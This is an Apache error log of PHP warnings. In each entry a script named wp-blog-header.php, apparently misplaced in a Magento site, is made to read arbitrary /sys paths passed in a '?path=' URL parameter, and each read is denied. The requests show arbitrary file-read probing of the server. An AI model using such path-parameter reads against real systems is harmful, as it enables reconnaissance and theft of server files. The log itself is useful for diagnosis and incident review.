[Thu Mar 26 15:27:26.621168 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:ba
[Thu Mar 26 15:27:29.248756 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem
[Thu Mar 26 15:27:31.387619 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/drivers/ec
[Thu Mar 26 15:27:32.931190 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:ce
[Thu Mar 26 15:27:34.545613 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:ca
[Thu Mar 26 15:27:36.081741 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:ea
[Thu Mar 26 15:27:38.712287 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/drivers/ac
[Thu Mar 26 15:27:39.272035 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:fe
[Thu Mar 26 15:27:41.344881 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:fe
[Thu Mar 26 15:27:44.499076 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem
[Thu Mar 26 15:27:49.247803 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem
[Thu Mar 26 15:27:53.393137 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:da
[Thu Mar 26 15:27:57.549181 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/drivers/ac
[Thu Mar 26 15:27:58.680841 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:dc
[Thu Mar 26 15:27:59.157021 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe
[Thu Mar 26 15:27:59.693124 2026] [php:warn] [pid 3216613] [client 74.7.241.26:58746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/drivers/ec
[Thu Mar 26 15:28:00.483427 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37922] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:fa
[Thu Mar 26 15:28:00.963070 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37922] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:ba
[Thu Mar 26 15:28:01.990571 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37922] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:dc
[Thu Mar 26 15:28:07.801883 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37922] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/drivers/ac
[Thu Mar 26 15:28:10.909931 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37922] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:ca
[Thu Mar 26 15:28:21.588470 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37922] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem
[Thu Mar 26 15:28:30.024460 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37922] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc
[Thu Mar 26 15:28:30.536422 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37922] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:ac
[Thu Mar 26 15:28:31.597145 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37922] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:be
[Thu Mar 26 15:28:33.689674 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37922] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:fa
[Thu Mar 26 15:28:34.195858 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37922] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:aa
[Thu Mar 26 15:28:34.751975 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37922] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:ee
[Thu Mar 26 15:28:45.912163 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37922] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:cc
[Thu Mar 26 15:28:49.588185 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37922] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem
[Thu Mar 26 15:28:50.099933 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37922] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:be
[Thu Mar 26 15:28:51.217899 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37922] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:ae
[Thu Mar 26 15:28:52.773269 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37922] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:da
[Thu Mar 26 15:28:54.035585 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/drivers/ec
[Thu Mar 26 15:28:59.473367 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:aa
[Thu Mar 26 15:28:59.967338 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:bc
[Thu Mar 26 15:29:02.098796 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:be
[Thu Mar 26 15:29:03.130984 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem
[Thu Mar 26 15:29:05.300989 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/drivers/ec
[Thu Mar 26 15:29:06.866468 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 15:29:07.901397 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:ee
[Thu Mar 26 15:29:08.970211 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:aa
[Thu Mar 26 15:29:10.628795 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/drivers/ac
[Thu Mar 26 15:29:13.659991 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/drivers/ec
